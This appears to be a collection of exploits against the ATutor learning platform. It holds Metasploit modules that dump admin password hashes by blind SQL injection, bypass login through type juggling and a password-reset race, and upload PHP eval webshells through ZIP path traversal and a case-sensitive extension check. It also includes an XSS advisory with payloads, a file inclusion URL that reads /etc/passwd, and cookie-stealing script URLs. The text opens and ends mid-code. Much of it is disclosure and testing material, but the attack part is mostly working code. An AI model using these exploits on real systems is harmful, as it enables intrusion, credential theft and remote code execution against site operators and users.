    cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
    if bypass
      password = get_hashed_password(token, password, true)
    else
      password = get_hashed_password(token, password, false)
    end

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'vars_post' => {
        'form_password_hidden' => password,
        'form_login' => username,
        'submit' => 'Login'
      },
      'cookie' => cookie,
      'agent' => 'Mozilla'
    })
    cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/

    # this is what happens when no state is maintained by the http client
    if res && res.code == 302
       if res.redirection.to_s.include?('bounce.php?course=0')
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, res.redirection),
          'cookie' => cookie,
          'agent' => 'Mozilla'
        })
        cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
        if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
           res = send_request_cgi({
             'method'   => 'GET',
             'uri'      => normalize_uri(target_uri.path, res.redirection),
             'cookie' => cookie,
             'agent' => 'Mozilla'
           })
           cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
           return cookie
          end
       else res.redirection.to_s.include?('admin/index.php')
          # if we made it here, we are admin
          return cookie
       end
    end

    # auth failed if we land here, bail
    fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    return nil
  end

  def perform_request(sqli, cookie)
    # the search requires a minimum of 3 chars
    sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
    rand_key = Rex::Text.rand_text_alpha(1)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
      'vars_post' => {
        "search_friends_#{rand_key}" => sqli,
        'rand_key' => rand_key,
        'search' => 'Search People'
      },
      'cookie' => cookie,
      'agent' => 'Mozilla'
    })
    return res.body
  end

   def dump_the_hash(cookie)
    extracted_hash = ""
    sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
    login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
    for i in 1..login_and_hash_length
       sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
       asciival = generate_sql_and_test(false, false, sqli, cookie)
       if asciival >= 0
          extracted_hash << asciival.chr
       end
    end
    return extracted_hash.split(":")
  end

  def get_ascii_value(sql, cookie)
    lower = 0
    upper = 126
    while lower < upper
       mid = (lower + upper) / 2
       sqli = "#{sql}>#{mid}"
       result = perform_request(sqli, cookie)
       if result =~ /There are \d entries./
        lower = mid + 1
       else
        upper = mid
       end
    end
    if lower > 0 and lower < 126
       value = lower
    else
       sqli = "#{sql}=#{lower}"
       result = perform_request(sqli, cookie)
       if result =~ /There are \d entries./
          value = lower
       end
    end
    return value
  end

  def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
    if do_test
      if do_true
        result = perform_request("1=1", cookie)
        if result =~ /There are \d entries./
          return true
        end
      else not do_true
        result = perform_request("1=2", cookie)
        if not result =~ /There are \d entries./
          return true
        end
      end
    elsif not do_test and sql
      return get_ascii_value(sql, cookie)
    end
  end

  def test_injection(cookie)
    if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
       if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
        return true
       end
    end
    return false
  end

  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: Time.now
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def exploit
    student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
    print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
    report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])

    print_status("Dumping username and password hash...")
    # we got admin hash now
    credz = dump_the_hash(student_cookie)
    print_good("Got the #{credz[0]} hash: #{credz[1]} !")
    if credz
      admin_cookie = login(credz[0], credz[1], true)
      print_status("Logged in as #{credz[0]}, uploading shell...")
      # install a plugin
      if upload_shell(admin_cookie)
        print_good("Shell upload successful!")
        # boom
        exec_code
      end
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
      'Description'    => %q{
         This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
         setup with display_errors set to On, which can be used to allow us to upload a malicious
         ZIP file. On the web application, a blacklist verification is performed before extraction,
         however it is not sufficient to prevent exploitation.

         You are required to login to the target to reach the vulnerability, however this can be
         done as a student account and remote registration is enabled by default.

         Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
         in order to bypass the authentication:

         1. confirm.php Authentication Bypass Type Juggling vulnerability
         2. password_reminder.php Remote Password Reset TOCTOU vulnerability
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.atutor.ca/' ],                           # Official Website
          [ 'URL', 'http://sourceincite.com/research/src-2016-09/'  ],  # Type Juggling Advisory
          [ 'URL', 'http://sourceincite.com/research/src-2016-10/'  ],  # TOCTOU Advisory
          [ 'URL', 'http://sourceincite.com/research/src-2016-11/'  ],  # Directory Traversal Advisory
          [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password to authenticate with'])
      ],self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    # there is no real way to finger print the target so we just
    # check if we can upload a zip and extract it into the web root...
    # obviously not ideal, but if anyone knows better, feel free to change
    if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
      if student_cookie != nil && disclose_web_root
        begin
          if upload_shell(student_cookie, check=true) && found
            return Exploit::CheckCode::Vulnerable
          end
        rescue Msf::Exploit::Failed => e
          vprint_error(e.message)
        end
      else
        # if we cant login, it may still be vuln
        return Exploit::CheckCode::Unknown
      end
    else
      # if no creds are supplied, it may still be vuln
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

  def create_zip_file(check=false)
    zip_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @archive_name = Rex::Text.rand_text_alpha_lower(3)
    @test_string  = Rex::Text.rand_text_alpha_lower(8)
    # we traverse back into the webroot mods/ directory (since it will be writable)
    path = "../../../../../../../../../../../../..#{@webroot}mods/"

    # we use this to give us the best chance of success. If a webserver has htaccess override enabled
    # we will win. If not, we may still win because these file extensions are often registered as php
    # with the webserver, thus allowing us remote code execution.
    if check
      zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
    else
      register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
      zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
      zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    end
    zip_file.pack
  end

  def found
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
    })
    if res and res.code == 200 and res.body =~ /#{@test_string}/
      return true
    end
    return false
  end

  def disclose_web_root
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
    })
    @webroot = "/"
    @webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
    if @webroot != "/"
      return true
    end
    return false
  end

  def call_php(ext)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    }, timeout=0.1)
    return res
  end

  def exec_code
    res = nil
    res = call_php("pht")
    if res == nil
      res = call_php("phtml")
    end
    if res == nil
      res = call_php("php4")
    end
  end

  def upload_shell(cookie, check)
    post_data = Rex::MIME::Message.new
    post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
    post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'vars_get' => {
        'h' => ''
      }
    })
    if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
      return true
    end
    # unknown failure...
    fail_with(Failure::Unknown, "Unable to upload php code")
    return false
  end

  def find_user(cookie)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "users", "profile.php"),
      'cookie' => cookie,
      # we need to set the agent to the same value that was in type_juggle,
      # since the bypassed session is linked to the user-agent. We can then
      # use that session to leak the username
      'agent' => ''
    })
    username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
    if username
       return username
    end
    # else we fail, because we dont know the username to login as
    fail_with(Failure::Unknown, "Unable to find the username!")
  end

  def type_juggle
    # high padding, means higher success rate
    # also, we use numbers, so we can count requests :p
    for i in 1..8
      for @number in ('0'*i..'9'*i)
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path, "confirm.php"),
          'vars_post' => {
            'auto_login' => '',
            'code' => '0'        # type juggling
          },
          'vars_get' => {
            'e' => @number,      # the bruteforce
            'id' => '',
            'm' => '',
            # the default install script creates a member
            # so we know for sure, that it will be 1
            'member_id' => '1'
          },
          # need to set the agent, since we are creating x number of sessions
          # and then using that session to get leak the username
          'agent' => ''
        }, redirect_depth = 0)  # to validate a successful bypass
        if res and res.code == 302
          cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
          return cookie
        end
      end
    end
    # if we finish the loop and have no sauce, we cant make pasta
    fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
  end

  def reset_password
    # this is due to line 79 of password_reminder.php
    days = (Time.now.to_i/60/60/24)
    # make a semi strong password, we have to encourage security now :->
    pass = Rex::Text.rand_text_alpha(32)
    hash = Rex::Text.sha1(pass)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "password_reminder.php"),
      'vars_post' => {
        'form_change' => 'true',
        # the default install script creates a member
        # so we know for sure, that it will be 1
        'id' => '1',
        'g' => days + 1,                    # needs to be > the number of days since epoch
        'h' => '',                          # not even checked!
        'form_password_hidden' => hash,     # remotely reset the password
        'submit' => 'Submit'
      },
    }, redirect_depth = 0)  # to validate a successful bypass

    if res and res.code == 302
      return pass
    end
    # if we land here, the TOCTOU failed us
    fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
  end

  def login(username, password, check=false)
    hash = Rex::Text.sha1(Rex::Text.sha1(password))
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'vars_post' => {
        'form_password_hidden' => hash,
        'form_login' => username,
        'submit' => 'Login',
        'token' => '',
      },
    })
    # poor php developer practices
    cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
    if res && res.code == 302
      if res.redirection.to_s.include?('bounce.php?course=0')
        return cookie
      end
    end
    # auth failed if we land here, bail
    unless check
      fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    end
    return nil
  end

  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: Time.now
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def exploit
    # login if needed
    if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
      report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
      print_good("Logged in as #{datastore['USERNAME']}")
    # else, we reset the students password via a type juggle vulnerability
    else
      print_status("Account details are not set, bypassing authentication...")
      print_status("Triggering type juggle attack...")
      student_cookie = type_juggle
      print_good("Successfully bypassed the authentication in #{@number} requests !")
      username = find_user(student_cookie)
      print_good("Found the username: #{username} !")
      password = reset_password
      print_good("Successfully reset the #{username}'s account password to #{password} !")
      report_cred(user: username, password: password)
      student_cookie = login(username, password)
      print_good("Logged in as #{username}")
    end

    if disclose_web_root
       print_good("Found the webroot")
       # we got everything. Now onto pwnage
       if upload_shell(student_cookie, false)
          print_good("Zip upload successful !")
          exec_code
       end
    end
  end
end

=begin
php.ini settings:
display_errors = On  
=end
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Atutor 2.2
Fixed in:            partly in ATutor 2.2.1-RC1, complete in 2.2.1
Fixed Version Link:  http://www.atutor.ca/atutor/download.php
Vendor Website:      http://www.atutor.ca/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  11/17/2015
Disclosed to public: 02/01/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

Atutor is a learning management system (LMS) written in PHP. In version 2.2, it
is vulnerable to multiple reflected and persistent XSS attacks.

The vulnerabilities can lead to the stealing of cookies, injection of
keyloggers, or the bypassing of CSRF protection. If the victim is an admin, a
successful exploitation can lead to code execution via the theme uploader, and
if the victim is an instructor, this can lead to code execution via a file
upload vulnerability in the same version of Atutor.

3. Details

XSS 1: Reflected XSS - Calendar

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: The calendar_next parameter of the calendar is vulnerable to XSS.
This issue has been fixed in ATutor 2.2.1-RC1.

Proof of Concept:

    http://localhost/ATutor/mods/_standard/calendar/getlanguage.php?token=calendar_next<script>alert(1)<%2fscript>&pub=1

Code:

    /mods/_standard/calendar/getlanguage.php
    $token = $_GET['token'];
    echo _AT($token);

XSS 2: Persistent XSS - Profile

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When saving profile information, < is filtered out. < on the
other hand is not filtered, but converted to <, which leads to persistent XSS.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1.

Proof of Concept:

Visit: 
    http://localhost/ATutor/users/profile.php 
In any field, enter 
    <img src=no onerror=alert(1)>

The input is for example echoed when visiting http://localhost/ATutor/users/
profile.php. This self-XSS may be exploited by force-logging in the victim.

The input is not only echoed to the user themselves, but also in other places.

For example, an attacker could send a private message to a victim. When the
victim views the message, or visits their inbox, the injected code will be
executed.

XSS 3: Persistent XSS - Forum

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When creating a forum post, the Subject parameter is vulnerable to
persistent XSS.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1.

Proof of Concept:

Visit a forum, eg here: 
    http://localhost/ATutor/mods/_standard/forums/forum/view.php?fid=1&pid=1 
Post a new message, as Subject, use: 
    Re: test topic'"><img src=no onerror=alert(1)>

In ATutor 2.2.1-RC1, < and > are encoded, preventing the proof of concept from
working. But until version 2.2.1, it was still possible to exploit this issue
either by using the JavaScript context the input is echoed into (onClick), or
by adding a new attribute:

adding new attributes: 
    Re: ';" onmouseover="alert(1); var foo=' 
staying inside the existing JavaScript context: 
    Re: test topic';alert(1);var foo='

XSS 4: Persistent self-XSS - Calendar

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: The event name of the calendar is vulnerable to persistent XSS.
The calendar seems to be shown only to the user creating it, meaning the only
way to exploit this issue would be to force-login the victim.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1-RC1.

Proof of Concept:

Visit: http://localhost/ATutor/mods/_standard/calendar/index_mystart.php 
Create event with name: 
    '"><img src=no onerror=alert(1)> 
Visit event page: http://localhost/ATutor/mods/_standard/calendar/index_mystart.php

XSS 5: Persistent XSS - Chat

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When viewing the chat history, chat messages are not properly HTML
encoded, leading to persistent XSS.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1-RC1.

Proof of Concept:

1. Visit Chat: 
    http://localhost/ATutor/mods/_standard/chat/chat.php 
2. Enter chat message: 
    '"><img src=no onerror=alert(1)> 
3. Visit chat history of that user: 
    http://localhost/ATutor/mods/_standard/chat/filterHistory.php?filterChatID=[USERNAME]

4. Solution

To mitigate this issue please upgrade at least to version 2.2.1:

http://www.atutor.ca/atutor/download.php

Please note that a newer version might already be available.

5. Report Timeline

11/17/2015 Informed Vendor about Issue
11/21/2015 Vendor requests more time
01/06/2016 Vendor releases new release candidate with partial fix
01/30/2016 Vendor releases complete fix
02/01/2016 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Atutor-22-XSS-149.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
            
source: https://www.securityfocus.com/bid/56600/info

ATutor is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

ATutor 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd 
            
source: https://www.securityfocus.com/bid/51423/info

ATutor is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ATutor 2.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor/themes/default/tile_search/index.tmpl.php/" <script>alert(document.cookie)</script>
http://www.example.com/ATutor/login.php/index.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/search.php/index.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/password_reminder.php" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/login.php/jscripts/infusion/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/login.php/mods/_standard/flowplayer/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/browse.php/jscripts/infusion/framework/fss/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/registration.php/themes/default/ie_styles.css" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/about.php/" <script>alert(document.cookie)</script>/index.php
http://www.example.com/ATutor/themes/default/social/basic_profile.tmpl.php/" <script>alert(document.cookie)</script>/index.php 
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ATutor < 2.2.4 'file_manager' Remote Code Execution",
      'Description'    => %q{
         This module allows the user to run commands on the server with teacher user privilege.
         The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
         The "$IllegalExtensions" function has control weakness and shortcomings.
         It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...)
         However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php"
         It can also be used in dangerous extensions such as "shtml" and "phtml". 
         The directory path for the "content" folder is located at "config.inc.php".
         For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known.

         This exploit creates a course with the teacher user and loads the malicious php file into server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & MSF Module
        ],
      'References'     =>
        [
          [ 'CVE', ''  ],
          [ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
          [ 'URL', 'https://atutor.github.io/' ],
          [ 'URL', 'http://www.atutor.ca/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '09 April 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
        OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
      ],self.class)
  end

  def exec_payload

    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}")
    })
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
##
# Version and Vulnerability Check
##
  def check

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/")
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 404
       return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end
##
# csrftoken read and create a new course
##
  def create_course(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"),
      'headers' =>
      {
        'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
        'cookie'   => cookie,
      },
      'agent' => 'Mozilla'
    })

    if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/
      @token = res.body.split('csrftoken"  value="')[1].split('"')[0]
    else
      return false
    end 

    @course_name = Rex::Text.rand_text_alpha_lower(5)
    post_data = Rex::MIME::Message.new
    post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"')
    post_data.add_part('true', nil, nil, 'form-data; name="form_course"')
    post_data.add_part(@course_name, nil, nil, 'form-data; name="title"')
    post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"')
    post_data.add_part('protected', nil, nil, 'form-data; name="access"')
    post_data.add_part('Save', nil, nil, 'form-data; name="submit"')
    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php")     
    })

    location = res.redirection.to_s
    if res && res.code == 302 && location.include?('bounce.php?course')
      @course_id = location.split('course=')[1].split("&p")[0]
      return true
    else
      return false
    end
  end
##
# Upload malicious file // payload integration
##
  def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id),
      'headers' =>
      {
        'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
        'cookie'   => cookie,
      },
      'agent' => 'Mozilla'
    })

    ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/

    file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP"
    @fn = "#{file_name}"
    post_data = Rex::MIME::Message.new
    post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"")
    post_data.add_part('Upload', nil, nil, 'form-data; name="submit"')
    post_data.add_part('', nil, nil, 'form-data; name="pathext"')

    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => ucookie,
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php")     
    })

    if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext')
      print_status("Trying to upload #{file_name}")
      return true
    else
      print_status("Error occurred during uploading!")
      return false
    end
  end
##
# Password encryption with csrftoken
##
  def get_hashed_password(token, password, check)
    if check
      return Rex::Text.sha1(password + token)
    else
      return Rex::Text.sha1(Rex::Text.sha1(password) + token)
    end
  end
##
# User login operations
##
  def login(username, password, check)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'agent' => 'Mozilla',
    })

    token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
    cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
    if check
      password = get_hashed_password(token, password, true)
    else
      password = get_hashed_password(token, password, false)
    end

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'vars_post' => {
        'form_password_hidden' => password,
        'form_login' => username,
        'submit' => 'Login'
      },
      'cookie' => cookie,
      'agent' => 'Mozilla'
    })
    cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/

    if res && res.code == 302
       if res.redirection.to_s.include?('bounce.php?course=0')
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, res.redirection),
          'cookie' => cookie,
          'agent' => 'Mozilla'
        })
        cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
        if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
           res = send_request_cgi({
             'method'   => 'GET',
             'uri'      => normalize_uri(target_uri.path, res.redirection),
             'cookie' => cookie,
             'agent' => 'Mozilla'
           })
           cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
           return cookie
          end
       else res.redirection.to_s.include?('admin/index.php')
          fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!')
          return cookie
       end
    end

    fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    return nil
  end
##
# Exploit controls and information
##
  def exploit
    tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
    print_good("Logged in as #{datastore['USERNAME']}")

    if create_course(tcookie, true)
      print_status("CSRF Token : " + @token)
      print_status("Course Name : " + @course_name + " Course ID : " + @course_id)
      print_good("New course successfully created.")
    end

    if upload_shell(tcookie, true)
      print_good("Upload successfully.")
      print_status("Trying to exec payload...")
      exec_payload
    end
  end
end
##
# The end of the adventure (o_O) // AkkuS
##
            
source: https://www.securityfocus.com/bid/65744/info

ATutor is prone to multiple cross-site scripting vulnerabilities and a HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ATutor 2.1.1 is vulnerable; other versions may also be affected. 

1. During installation: xss and sql insertion:

---<request>---
POST /k/cms/atutor/ATutor/install/install.php HTTP/1.1
Host: www.example.com
(...)
Content-Length: 191

action=process&step=2&new_version=2.1.1&db_host=localhost&db_port=3306&db_login=root&db_password=superpass&db_name='%3e"%3e%3cscript%3ealert(1)%3c%2fscript%3e&tb_prefix=AT_&submit=Next+%BB+
---<request>---


---<response>---
<ul><li>Database <b>\'>\"><script>alert(1)</script></b> created successfully.
---<response>---

--> tb_prefix and new_version parameter are also vulnerable.


# ==============================================================
# 2. XSS

---<request>---
POST /k/cms/atutor/ATutor/install/install.php HTTP/1.1
